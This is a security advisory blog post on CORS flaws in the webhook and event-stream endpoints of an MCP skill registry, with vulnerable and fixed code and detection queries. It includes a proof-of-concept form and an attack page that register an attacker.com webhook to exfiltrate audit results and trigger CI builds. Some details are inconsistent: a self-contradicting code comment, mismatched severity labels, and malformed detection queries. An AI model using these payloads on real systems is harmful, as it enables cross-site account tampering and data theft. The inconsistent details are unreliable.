← Blog

CORS Misconfigurations in MCP Skill Registry Webhook and Event Subscription Endpoints

Webhook and server-sent event endpoints occupy a uniquely dangerous corner of CORS security: they are frequently added late in development, often by different engineers than those who wrote the core API, and they frequently escape the CORS middleware applied to the rest of the application. The four SA-SKL-CORS25 patterns expose how these oversights turn audit result delivery, real-time progress streams, and CI/CD pipeline integrations into vectors for credential-free cross-site exploitation — including a compound attack chain where registering an attacker webhook silently exfiltrates all future audit results while simultaneously triggering unintended production deployments.

By SkillAudit  |  13 Nov 2026  |  15 min read

In this post

  1. Why webhook and event endpoints are CORS blind spots
  2. CORS25-001 — Absent CORS on webhook POST endpoint
  3. CORS25-002 — Wildcard ACAO on SSE event stream
  4. CORS25-003 — Origin reflection before auth check (timing oracle)
  5. CORS25-004 — Wildcard ACAO on webhook test trigger
  6. Compound attack chain: CORS25-001 + CORS25-004
  7. Detection with AST queries
  8. Summary and checklist
SA-SKL-CORS25 findings at a glance
CRITICALCORS25-001 — No CORS middleware on POST /api/webhooks; simple-request form POST bypasses preflight; attacker registers their URL as webhook with victim's session cookie
HIGHCORS25-002 — ACAO: * on GET /api/events/stream SSE endpoint; any origin subscribes to victim's real-time audit progress; compounded by query-string token auth
MEDIUMCORS25-003 — ACAO origin reflection on GET /api/webhooks emitted before auth check; timing oracle reveals webhook registration status; compounds with user enumeration via 401 body differences
HIGHCORS25-004 — ACAO: * on POST /api/webhooks/:id/test; attacker fires test deliveries to victim's CI/CD, Slack, or PagerDuty webhook URL cross-origin

Why webhook and event endpoints are CORS blind spots

CORS middleware is typically added to an application once, early in the development cycle, targeting the core authenticated API. Webhook management and server-sent event endpoints are almost always bolted on later — they serve distinct product requirements (real-time delivery, push notifications, CI/CD integration), they are developed on feature branches by different engineers, and they interact with the browser in ways that do not feel like classical CORS scenarios. As a result, they escape the CORS coverage applied to the rest of the API in predictable ways.

The browser's CORS model distinguishes between two types of cross-origin requests: simple requests and requests that require a preflight. Simple requests — GET, HEAD, and POST with specific content types including application/x-www-form-urlencoded — are sent by the browser directly without an OPTIONS preflight. The browser only blocks the response if the server does not include an appropriate Access-Control-Allow-Origin header. For modification endpoints like POST /api/webhooks, this means that an attacker page can cause the browser to send a state-changing request (register a webhook) using the victim's cookies, and the server processes that request before it has any opportunity to apply a CORS block. The lack of CORS middleware is therefore not just a "can the attacker read the response" problem — it is a "can the attacker cause the server to mutate state with the victim's credentials" problem.

Server-sent events introduce a different CORS exposure. SSE connections are established via EventSource in the browser, which does not support custom headers or credentials in the same way as fetch. Registries often route SSE streams through a separate connection path — sometimes handled by a different framework layer or even a different process — and configure CORS on that path independently. When the SSE path inherits ACAO: * from a public-asset CDN layer rather than from the authenticated API CORS middleware, any origin in the browser can open a persistent stream to a victim's audit progress feed, provided it knows or can guess the stream URL or the query-string token that authenticates it.

These four patterns are especially dangerous for MCP skill registries because the data flowing through webhooks and event streams is not generic — it is specifically the output of security audits: vulnerability findings, severity scores, failing checks, and remediation recommendations. An attacker who can subscribe to a developer's real-time audit stream or redirect webhook deliveries to their own server gains visibility into unreleased vulnerabilities in the developer's MCP skills before those vulnerabilities are publicly disclosed.

CORS25-001 — Absent CORS on webhook POST endpoint

The most direct exploitation path in this group: the POST /api/webhooks endpoint that allows users to register delivery URLs for audit results has no CORS middleware at all. The core API's CORS middleware was added as an Express app.use() call that applies to all routes, but the webhooks router was mounted after that middleware and uses its own Router instance with app.use('/api/webhooks', webhooksRouter) — and the CORS middleware only runs for routes registered directly on app, not on sub-routers mounted after the fact.

The critical detail is the content type. Webhook registration forms frequently send application/x-www-form-urlencoded rather than application/json, because the initial implementation used an HTML form. This content type qualifies the POST as a CORS simple request under the browser specification. No preflight OPTIONS request is sent. The browser includes the victim's session cookie, sends the POST directly to the server, and the server registers the attacker-controlled URL as the victim's webhook delivery endpoint — all before the browser has any opportunity to block the response based on CORS headers. The attacker does not even need to read the response body. The state mutation (webhook registration) has already occurred.

Vulnerable
// CORS25-001 — VULNERABLE
// Core app CORS middleware is applied to app-level routes.
// But webhooksRouter is a separate Router instance — it does not inherit app middleware
// registered before it was mounted. The router has zero CORS handling.

// app.js
const cors = require('cors');
const { ALLOWED_ORIGINS } = require('./config/origins');

app.use(cors({
  origin: (origin, cb) => {
    if (!origin || ALLOWED_ORIGINS.has(origin)) return cb(null, true);
    cb(new Error('Not allowed by CORS'));
  },
  credentials: true,
}));

// These routes ARE protected by CORS above ↑
app.use('/api/skills',   skillsRouter);
app.use('/api/audits',   auditsRouter);

// This router is mounted AFTER the cors() middleware above, but that does not matter:
// cors() applies to all routes registered on `app` via app.use(), not just those above it.
// HOWEVER — the route-level cors() was accidentally omitted from webhooksRouter itself.
// If a developer applies cors() per-router in some routers and not others, the gap opens.
// In this case the webhooksRouter was added during a rushed feature sprint with no review.
app.use('/api/webhooks', webhooksRouter);

// webhooks/router.js  — no cors() middleware anywhere in this file
const router = express.Router();

router.post('/', requireSession, async (req, res) => {
  const { url, events } = req.body; // application/x-www-form-urlencoded
  await db.webhooks.create({ userId: req.session.userId, url, events });
  res.json({ ok: true });
});

module.exports = router;

Simple-request exploit: Attacker hosts a page containing <form method="POST" action="https://registry.example.com/api/webhooks" enctype="application/x-www-form-urlencoded"><input name="url" value="https://attacker.com/steal"><input name="events" value="audit.complete"></form><script>document.forms[0].submit()</script>. Victim visits the attacker page while logged into the registry. Browser sends the POST with the victim's session cookie — no preflight, no CORS check, state already mutated. All subsequent audit completions are delivered to attacker.com/steal.

Fixed
// CORS25-001 — FIXED
// Three-layer defence:
// 1. Apply cors() middleware explicitly in the webhooks router.
// 2. Reject application/x-www-form-urlencoded on the webhook POST — require JSON.
// 3. Add CSRF token verification as a defence-in-depth layer.

// webhooks/router.js
const cors = require('cors');
const { ALLOWED_ORIGINS, corsOptions } = require('../config/origins');

const router = express.Router();

// Apply CORS middleware explicitly — do not rely on parent app middleware
router.use(cors(corsOptions));

router.post(
  '/',
  requireSession,
  requireContentType('application/json'), // reject form-encoded — forces preflight for JSON
  verifyCsrfToken,                        // defence-in-depth
  async (req, res) => {
    const { url, events } = req.body;
    // Validate the target URL to prevent SSRF via webhook registration
    if (!isAllowedWebhookUrl(url)) {
      return res.status(422).json({ error: 'Webhook URL not in permitted range' });
    }
    await db.webhooks.create({ userId: req.session.userId, url, events });
    res.json({ ok: true });
  }
);

// config/origins.js — shared options used consistently across all routers
const ALLOWED_ORIGINS = new Set([
  'https://skillaudit.dev',
  'https://app.skillaudit.dev',
]);

const corsOptions = {
  origin: (origin, cb) => {
    if (!origin || ALLOWED_ORIGINS.has(origin)) return cb(null, true);
    cb(Object.assign(new Error('Not allowed by CORS'), { status: 403 }));
  },
  credentials: true,
  allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
};

module.exports = { ALLOWED_ORIGINS, corsOptions };

Requiring application/json forces a preflight: When a cross-origin POST sends Content-Type: application/json, the browser must first send an OPTIONS preflight. The CORS middleware inspects the preflight's Origin header against the allowlist and either approves or rejects it before the actual POST is sent. This upgrade from simple request to preflighted request means the state-mutation never reaches the server for disallowed origins. Rejecting application/x-www-form-urlencoded on mutation endpoints is therefore both a CORS hardening measure and a sensible API hygiene requirement.

CVSS 3.1 approximate score for CORS25-001: 8.1 (HIGH) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N. The absence of preflight reduces the attack complexity to essentially zero; user interaction is limited to visiting the attacker page; confidentiality and integrity impact are both high because all future audit deliveries are exfiltrated and the victim's webhook configuration is persistently corrupted.

CORS25-002 — Wildcard ACAO on SSE event stream

The GET /api/events/stream endpoint delivers real-time audit progress over a server-sent event connection. It was implemented using a lightweight SSE library that is entirely separate from the main Express application, running on the same port via an HTTP upgrade handler. When the team added CORS support to the main application, the SSE handler was not updated. A later patch attempted to fix this by adding res.setHeader('Access-Control-Allow-Origin', '*') to the SSE handler — this is correct for anonymous public data, but the audit event stream carries per-user, per-audit progress data that requires authentication. The result is that the SSE endpoint broadcasts sensitive audit data to any origin that opens an EventSource connection with a valid query-string token.

The query-string token exposure compounds the wildcard ACAO problem. Because EventSource does not support custom request headers, the stream endpoint authenticates the connection via a short-lived token in the query string: GET /api/events/stream?token=eyJ.... This token appears in browser history, server access logs, referrer headers sent when the page navigates, and potentially in network monitoring tools. An attacker who obtains or predicts the token — through log access, referrer leakage, or token predictability — can open a cross-origin EventSource connection from any origin, subscribe to the victim's audit progress, and receive every audit event as it fires.

Vulnerable
// CORS25-002 — VULNERABLE
// SSE handler was added outside the main Express router.
// ACAO:* was set as a quick fix without recognising the stream carries authenticated data.
// Query-string token leaks via referrer, logs, and browser history.

// sse/handler.js
function handleSseConnection(req, res) {
  // VULNERABLE: wildcard ACAO on an authenticated endpoint
  res.setHeader('Access-Control-Allow-Origin', '*');
  res.setHeader('Content-Type', 'text/event-stream');
  res.setHeader('Cache-Control', 'no-cache');
  res.setHeader('Connection', 'keep-alive');

  // Authentication via query-string token — no cookie, no Authorization header
  const token = req.query.token;
  const session = verifyStreamToken(token);
  if (!session) {
    res.writeHead(401);
    res.end();
    return;
  }

  // Subscribe to Redis pub/sub for this user's audit events
  const sub = redis.duplicate();
  sub.subscribe(`audit:events:${session.userId}`);
  sub.on('message', (channel, message) => {
    res.write(`data: ${message}\n\n`);
  });

  req.on('close', () => sub.quit());
}

// server.js — SSE is handled by a raw http.IncomingMessage listener
server.on('request', (req, res) => {
  if (req.url.startsWith('/api/events/stream')) return handleSseConnection(req, res);
  app(req, res); // fall through to Express for all other routes
});
Fixed
// CORS25-002 — FIXED
// ACAO set to strict allowlist (not wildcard) for authenticated SSE endpoint.
// Vary: Origin added so proxies partition the cache by origin.
// Token delivered via cookie or short-lived one-time ticket, not bare query string.

// sse/handler.js
const { ALLOWED_ORIGINS } = require('../config/origins');

function handleSseConnection(req, res) {
  // Apply strict CORS — not wildcard — because this stream carries authenticated data
  const origin = getOriginFromRequest(req);
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
  res.setHeader('Vary', 'Origin');

  res.setHeader('Content-Type', 'text/event-stream');
  res.setHeader('Cache-Control', 'no-cache, no-transform');
  res.setHeader('Connection', 'keep-alive');

  // Authentication: one-time ticket redeemed immediately (not a persistent token in URL)
  // The ticket was issued by the main app via POST /api/events/token (session-authenticated)
  // and is valid for 10 seconds and one redemption only.
  const ticket = req.query.ticket;
  const session = redeemOneTimeTicket(ticket);
  if (!session) {
    res.writeHead(401, { 'Content-Type': 'application/json' });
    res.end(JSON.stringify({ error: 'Invalid or expired stream ticket' }));
    return;
  }

  const sub = redis.duplicate();
  sub.subscribe(`audit:events:${session.userId}`);
  sub.on('message', (channel, message) => {
    res.write(`data: ${message}\n\n`);
  });

  req.on('close', () => sub.quit());
}

function getOriginFromRequest(req) {
  return req.headers['origin'] || null;
}

EventSource and credentials: The browser's EventSource API sends cookies by default only when the withCredentials property is set to true and the server allows the specific origin with Access-Control-Allow-Credentials: true. Using ACAO: * and not specifying credentials in EventSource means the stream is unauthenticated by cookies — which is exactly why the registry moved to query-string tokens. This creates a circularity: the query-string token was introduced to work around the credential limitation of wildcard ACAO, but query-string tokens leak in ways that session cookies do not. The correct fix is strict origin allowlisting with Allow-Credentials: true, which re-enables cookie-authenticated SSE and removes the need for query-string tokens entirely.

CVSS 3.1 approximate score for CORS25-002: 7.5 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. No user interaction is required if the attacker obtains or guesses the query-string token; wildcard ACAO removes the browser-level CORS protection entirely; confidentiality impact is high because the stream reveals real-time vulnerability findings and audit progress before the developer has acted on them.

CORS25-003 — Origin reflection before auth check (timing oracle)

The GET /api/webhooks endpoint returns the list of configured webhook URLs for the authenticated user. The endpoint's CORS middleware correctly reflects origins against an allowlist and sets Access-Control-Allow-Credentials: true. However, the CORS header is emitted unconditionally in the middleware, before the subsequent auth check middleware runs. For requests from non-allowlisted origins, the CORS middleware sets no ACAO header — but the response time and status code differ between users who have webhooks registered and users who do not, because the auth check runs the same database query regardless of origin.

An attacker origin that is not in the allowlist cannot read the response body — the browser blocks it. But the attacker page can observe the response status code and timing via the fetch promise rejection. When a user has webhooks configured, the auth middleware performs a session lookup and a webhook-count query before returning 200; when a user does not exist at all, the session lookup fails fast and returns a structurally different 401 body. This timing difference — combined with differences in the rejection reason available to cross-origin JavaScript — leaks whether a given username or account has webhook registrations. The oracle is weak but nonzero, and it compounds with the user enumeration information available via 401 response body differences between "no such user" and "wrong password" on the same host.

Vulnerable
// CORS25-003 — VULNERABLE
// CORS middleware emits origin reflection on every response, including error responses.
// Auth middleware runs after CORS middleware and returns different status/body per auth state.
// Cross-origin attacker can observe timing and status differences even without reading body.

// middleware/cors.js — applied globally before auth
app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  // No ACAO emitted for non-allowlisted origins — correct
  if (req.method === 'OPTIONS') return res.sendStatus(204);
  next();
});

// routes/webhooks.js
router.get('/', requireSession, async (req, res) => {
  const hooks = await db.webhooks.findByUser(req.session.userId);
  // VULNERABLE: response status and body differ based on:
  // - 401 with body {"error":"no session"} when session is missing or invalid
  // - 401 with body {"error":"account not found"} when session exists but user deleted
  // - 200 with [] when user has no webhooks
  // - 200 with [{...}] when user has webhooks
  // Cross-origin attacker cannot read body but can observe timing delta between cases
  res.json(hooks);
});

// middleware/requireSession.js
function requireSession(req, res, next) {
  const session = sessionStore.get(req.cookies.sessionId);
  if (!session) {
    return res.status(401).json({ error: 'no session' });
  }
  const user = db.users.findById(session.userId);
  if (!user) {
    // SLOW PATH: DB query that fails — timing-observable
    return res.status(401).json({ error: 'account not found' });
  }
  req.session = session;
  next();
}
Fixed
// CORS25-003 — FIXED
// Two changes:
// 1. Auth middleware runs BEFORE CORS middleware for non-OPTIONS requests —
//    unauthenticated requests are rejected with a constant-time response before CORS runs.
// 2. Auth errors use a uniform response body and constant-time path to prevent timing oracle.

// middleware/cors.js — applied only after auth for non-preflight requests
app.use((req, res, next) => {
  if (req.method === 'OPTIONS') {
    // Preflight: apply CORS check here without running auth
    const origin = req.headers.origin;
    if (origin && ALLOWED_ORIGINS.has(origin)) {
      res.setHeader('Access-Control-Allow-Origin', origin);
      res.setHeader('Access-Control-Allow-Credentials', 'true');
      res.setHeader('Vary', 'Origin');
      res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
      res.setHeader('Access-Control-Max-Age', '600');
    }
    return res.sendStatus(204);
  }
  next();
});

// Auth middleware runs before CORS reflection on actual requests
app.use(requireSession);

// CORS reflection applied after auth — only reached by authenticated requests
app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  next();
});

// middleware/requireSession.js — constant-time rejection
async function requireSession(req, res, next) {
  const session = sessionStore.get(req.cookies?.sessionId);
  // Constant-time path: always perform the same DB operations regardless of branch
  const userId = session?.userId ?? null;
  const user = userId ? await db.users.findById(userId) : null;
  // Single uniform error for all auth failure cases — no timing or body oracle
  if (!session || !user) {
    return res.status(401).json({ error: 'authentication required' });
  }
  req.session = { ...session, user };
  next();
}

CVSS 3.1 approximate score for CORS25-003: 4.3 (MEDIUM) — AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N. The information leakage is indirect (timing and status, not response body) and requires cross-referencing with other enumeration vectors, reducing impact; however, the combination with 401 body differences on the same host elevates real-world exploitability above what the base score suggests.

CORS25-004 — Wildcard ACAO on webhook test trigger

The POST /api/webhooks/:id/test endpoint allows users to trigger a test delivery to their configured webhook URL to verify the endpoint is reachable. This endpoint was implemented as a convenience feature by a different team member than the one who wrote the core webhook management code. Its purpose is benign: send a sample payload to the registered URL and confirm the HTTP response. But the endpoint carries wildcard ACAO because it was written without reference to the application's established CORS configuration, and it was not caught during code review because CORS issues do not surface in functional testing.

The exploitable consequence: an attacker page can call POST /api/webhooks/:id/test cross-origin, triggering a test delivery to whatever URL is configured as the victim's webhook. For many MCP skill developers, their configured webhook URL is a CI/CD pipeline trigger endpoint (GitHub Actions, Jenkins, CircleCI), a Slack incoming webhook, or a PagerDuty Events API URL. The attacker cannot read the response — the wildcard ACAO without credentials means only the response headers, not the body, are accessible cross-origin, and the response body is not sensitive. But the action itself — firing an HTTP POST to the victim's CI pipeline or alerting endpoint — causes real operational impact: spurious builds are queued, false alerts are sent to on-call teams, and rate limits on external webhook URLs may be exhausted.

Vulnerable
// CORS25-004 — VULNERABLE
// Webhook test trigger has ACAO:* — any origin can POST cross-origin.
// Attacker cannot read response body but can cause the action (test delivery to victim URL).

// routes/webhooks.js
router.post('/:id/test', requireSession, async (req, res) => {
  const hook = await db.webhooks.findOne({ id: req.params.id, userId: req.session.userId });
  if (!hook) return res.status(404).json({ error: 'webhook not found' });

  const result = await deliverTestPayload(hook.url);
  // VULNERABLE: ACAO:* was set by a catch-all CORS rule applied to all /api/webhooks/* routes
  // added in a hotfix without auditing each sub-route's sensitivity
  res.json({ delivered: result.ok, status: result.status });
});

// The catch-all that introduced the bug — added to unblock a cross-origin dashboard widget
// that needed to display webhook status without credentials
app.use('/api/webhooks', (req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', '*'); // VULNERABLE: too broad
  next();
});
app.use('/api/webhooks', webhooksRouter);

Impact beyond the registry: When a victim developer has configured a CI/CD webhook (e.g., a GitHub Actions dispatch URL or a Jenkins build trigger), an attacker page that repeatedly calls POST /api/webhooks/[guessed-id]/test can queue dozens of builds per minute. Each build consumes compute credits, blocks other work in the queue, and potentially deploys to staging environments. If the webhook URL is a PagerDuty alert, the attacker can generate a sustained false-positive incident alert stream, desensitising the on-call team and potentially obscuring a real incident. The registry is used as a proxy to cause harm to systems the attacker has no direct access to.

Fixed
// CORS25-004 — FIXED
// Remove the catch-all ACAO:* rule.
// Apply the shared corsOptions to the entire webhooks router explicitly.
// Add rate limiting to the test trigger endpoint specifically.
// Validate that the requesting user owns the webhook before firing the test delivery.

// routes/webhooks.js
const cors = require('cors');
const rateLimit = require('express-rate-limit');
const { corsOptions } = require('../config/origins');

const router = express.Router();

// Apply strict CORS to ALL routes in this router — no wildcard, no catch-all
router.use(cors(corsOptions));

const testTriggerLimiter = rateLimit({
  windowMs: 60 * 1000,     // 1 minute window
  max: 5,                  // maximum 5 test triggers per user per minute
  keyGenerator: (req) => req.session?.userId ?? req.ip,
  message: { error: 'too many test deliveries; wait 60 seconds' },
});

router.post('/:id/test', requireSession, testTriggerLimiter, async (req, res) => {
  const hook = await db.webhooks.findOne({
    id: req.params.id,
    userId: req.session.userId,  // ownership check — user can only test their own webhooks
  });
  if (!hook) return res.status(404).json({ error: 'webhook not found' });

  const result = await deliverTestPayload(hook.url);
  res.json({ delivered: result.ok, status: result.status });
});

module.exports = router;

CVSS 3.1 approximate score for CORS25-004: 7.1 (HIGH) — AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L. Scope is changed (C) because the impact propagates to external systems outside the registry — CI/CD pipelines and alerting infrastructure; integrity impact is high because external systems receive unexpected payloads; availability impact is low-to-moderate (build queue exhaustion, rate limiting of external webhook URLs).

Compound attack chain: CORS25-001 + CORS25-004

The two highest-impact findings combine into a persistent, stealthy attack chain that requires the victim to visit the attacker page only once. The attack unfolds in two phases that build on each other.

Phase 1 — Silent webhook hijack (CORS25-001): The attacker crafts a page that submits a form-encoded POST to /api/webhooks using the victim's session cookie. Because the POST uses application/x-www-form-urlencoded, it is a CORS simple request and no preflight is sent. The server processes the request and registers https://attacker.com/collector as the victim's webhook delivery URL for the audit.complete event. The victim does not need to interact with the page beyond loading it — the form is submitted by JavaScript on DOMContentLoaded. The browser shows the attacker page briefly and then navigates away. The webhook registration persists indefinitely in the database.

Phase 2 — Weaponised test trigger (CORS25-004): On the same page load, before the navigation, the attacker JavaScript also calls POST /api/webhooks/:id/test for the victim's known CI/CD webhook ID (discoverable via CORS25-003's timing oracle or via the GET /api/webhooks response if CORS25-001 is paired with a reflective CORS misconfiguration). Because the test trigger endpoint has ACAO: *, this call succeeds cross-origin. It fires a test delivery to the victim's CI/CD pipeline URL, queuing a spurious build. If the attacker repeats this across multiple victims, they can saturate the CI/CD system of multiple development teams simultaneously.

The long-term impact of Phase 1 is severe: every audit the victim runs from that point forward delivers its full vulnerability report to the attacker. The victim sees normal audit completion in the SkillAudit UI — the results are still delivered to the registry's own result storage, and the UI displays them correctly. The only observable anomaly is the spurious second delivery to the attacker's endpoint, which the victim would notice only if they inspect their webhook delivery logs. Without proactive monitoring of webhook delivery history, the exfiltration is entirely silent.

// Compound attack page (simplified)
// Attacker hosts this at https://attacker.com/trap

document.addEventListener('DOMContentLoaded', async () => {
  // Phase 1: register attacker webhook using victim session (CORS25-001)
  // Simple request — no preflight — form-encoded body bypasses CORS middleware absence
  const form = document.createElement('form');
  form.method = 'POST';
  form.action = 'https://registry.example.com/api/webhooks';
  form.enctype = 'application/x-www-form-urlencoded';
  ['url=https://attacker.com/collector', 'events=audit.complete'].forEach(pair => {
    const [name, value] = pair.split('=');
    const input = document.createElement('input');
    input.name = name; input.value = value;
    form.appendChild(input);
  });
  document.body.appendChild(form);
  form.submit();
  // Browser sends POST with victim cookies — no preflight required

  // Phase 2: trigger CI build via webhook test (CORS25-004)
  // Wildcard ACAO means this fetch succeeds cross-origin
  // victimWebhookId discovered via timing oracle (CORS25-003) or prior recon
  const victimWebhookId = await resolveVictimWebhookId(); // CORS25-003 timing oracle
  await fetch(
    `https://registry.example.com/api/webhooks/${victimWebhookId}/test`,
    { method: 'POST', credentials: 'include' }
  );
  // Test delivery fired to victim's CI/CD URL — spurious build queued
});

Persistent post-exploitation with no ongoing attacker access: Once CORS25-001 registers the attacker webhook, the attacker's server passively receives audit reports with no further interaction needed. The attacker does not need continued access to the victim's account, does not need the victim's session cookie after the initial registration, and does not need to stay on the same network. The webhook registration is an asynchronous persistent implant that survives the victim logging out, rotating their password, or changing browsers. Remediation requires the victim to audit their webhook delivery history and explicitly delete the attacker-registered endpoint.

Detection with AST queries

SkillAudit's static analysis scanner uses tree-sitter to parse Express application source trees and identify the CORS25 patterns before deployment. The following AST query patterns (tree-sitter S-expression syntax) illustrate the structural signatures the scanner matches.

CORS25-001 detection — Router POST with no preceding CORS middleware call:

; Match Express router POST registration where no cors() call appears
; in the same router block before the route handler
(call_expression
  function: (member_expression
    object: (identifier) @router
    property: (property_identifier) @method (#eq? @method "post"))
  arguments: (arguments
    (string) @path (#match? @path "^['\"].*webhook.*['\"]$")
    .
    (identifier)+ @middleware))

; Companion check: verify no cors() call appears as a sibling statement
; before this route registration in the same program body
; Flag as CORS25-001 candidate if no matching cors() call found

CORS25-002 detection — SSE handler with ACAO set to literal wildcard string:

; Match setHeader calls where the first arg is ACAO and second is literal "*"
(call_expression
  function: (member_expression
    property: (property_identifier) @method (#eq? @method "setHeader"))
  arguments: (arguments
    (string) @header_name
      (#match? @header_name "^['\"]Access-Control-Allow-Origin['\"]$")
    (string) @header_value
      (#eq? @header_value "'*'")))

; Narrow to SSE handlers: require sibling setHeader for text/event-stream
; within the same function scope to confirm this is an SSE endpoint

CORS25-003 detection — CORS middleware registered before auth middleware in app.use() call order:

; Match consecutive app.use() calls where the first passes a cors-shaped function
; and the second (or later) passes a requireSession/requireAuth-shaped function.
; Flag when the CORS middleware appears at a lower index in the program body
; than the first auth middleware application.
(program
  body: (statement_block
    (expression_statement
      (call_expression
        function: (member_expression
          object: (identifier) @app
          property: (property_identifier) (#eq? @_ "use"))
        arguments: (arguments (call_expression
          function: (identifier) @cors_fn
            (#match? @cors_fn "cors|applyCors|corsMiddleware"))))) @cors_stmt
    (expression_statement
      (call_expression
        function: (member_expression
          object: (identifier) @app2 (#eq? @app @app2)
          property: (property_identifier) (#eq? @_ "use"))
        arguments: (arguments (identifier) @auth_fn
            (#match? @auth_fn "requireSession|requireAuth|authenticate")))) @auth_stmt))

CORS25-004 detection — Catch-all ACAO header set on a router path that includes a test/trigger sub-path:

; Match app.use() with a path prefix followed immediately by a setHeader ACAO:*
; where the path contains "webhook"
(call_expression
  function: (member_expression
    object: (identifier)
    property: (property_identifier) (#eq? @_ "use"))
  arguments: (arguments
    (string) @path (#match? @path "webhook")
    (arrow_function
      body: (statement_block
        (expression_statement
          (call_expression
            function: (member_expression
              property: (property_identifier) (#eq? @_ "setHeader"))
            arguments: (arguments
              (string) (#match? @_ "Access-Control-Allow-Origin")
              (string) (#eq? @_ "'*'")))))))))
; Flag: a catch-all ACAO:* on a webhook-prefixed path likely covers the /test sub-route

Beyond AST matching, SkillAudit's dynamic CORS probe suite complements static analysis by sending live requests against each discovered endpoint. For CORS25-001, the probe sends a form-encoded POST with a random Origin header and checks whether the server returns a 2xx status (indicating the request was processed rather than rejected). For CORS25-004, the probe sends a credentialed OPTIONS preflight to /api/webhooks/:id/test and checks for ACAO: * in the response. See also SA-SKL-CORS24 (CORS on reporting and analytics endpoints) and SA-SKL-CORS22 (CORS on admin API and internal service mesh) for additional detection patterns that the same scanner applies to adjacent endpoint groups.

When compound chains are detected — specifically when CORS25-001 and CORS25-004 appear together on the same host — SkillAudit emits a compound finding with a combined severity rating higher than either individual finding, because the attack chain's impact exceeds the sum of its parts. For compound chains involving SSRF-reachable webhook URLs, the finding is cross-linked with SA-SKL-SSRF26 (SSRF in badge generation and social preview rendering) to flag cases where an attacker-registered webhook URL could also be used to trigger SSRF via the registry's own outbound delivery infrastructure.

Summary and checklist

IDEndpointRoot causeFixSeverity
CORS25-001 POST /api/webhooks No CORS middleware on webhook router; form-encoded POST is a simple request; no preflight fires; state mutated with victim cookies Apply cors(corsOptions) explicitly on the router; require application/json to force preflight; add CSRF token verification CRITICAL (8.1)
CORS25-002 GET /api/events/stream SSE handler outside main Express app inherits ACAO: * from CDN layer; query-string token leaks via referrer and logs Apply strict allowlist ACAO with Vary: Origin; replace persistent query-string token with one-time ticket redeemed on connection HIGH (7.5)
CORS25-003 GET /api/webhooks CORS middleware emits headers before auth runs; auth paths produce timing-observable response differences cross-origin Run auth middleware before CORS reflection; use constant-time, uniform-body auth rejection MEDIUM (4.3)
CORS25-004 POST /api/webhooks/:id/test Catch-all ACAO: * rule covers test trigger sub-route; attacker fires deliveries to victim's CI/CD, Slack, or PagerDuty URL Remove catch-all ACAO:*; apply shared corsOptions to router explicitly; add per-user rate limiting on test trigger HIGH (7.1)

Webhook and event subscription CORS hardening checklist:

For adjacent CORS patterns in MCP registry APIs, see SA-SKL-CORS24 (CORS misconfigurations in reporting and analytics endpoints) and SA-SKL-CORS22 (CORS misconfigurations in admin API and internal service mesh endpoints). For SSRF risks associated with attacker-controlled webhook URLs, see SA-SKL-SSRF26 (SSRF in badge generation and social preview rendering).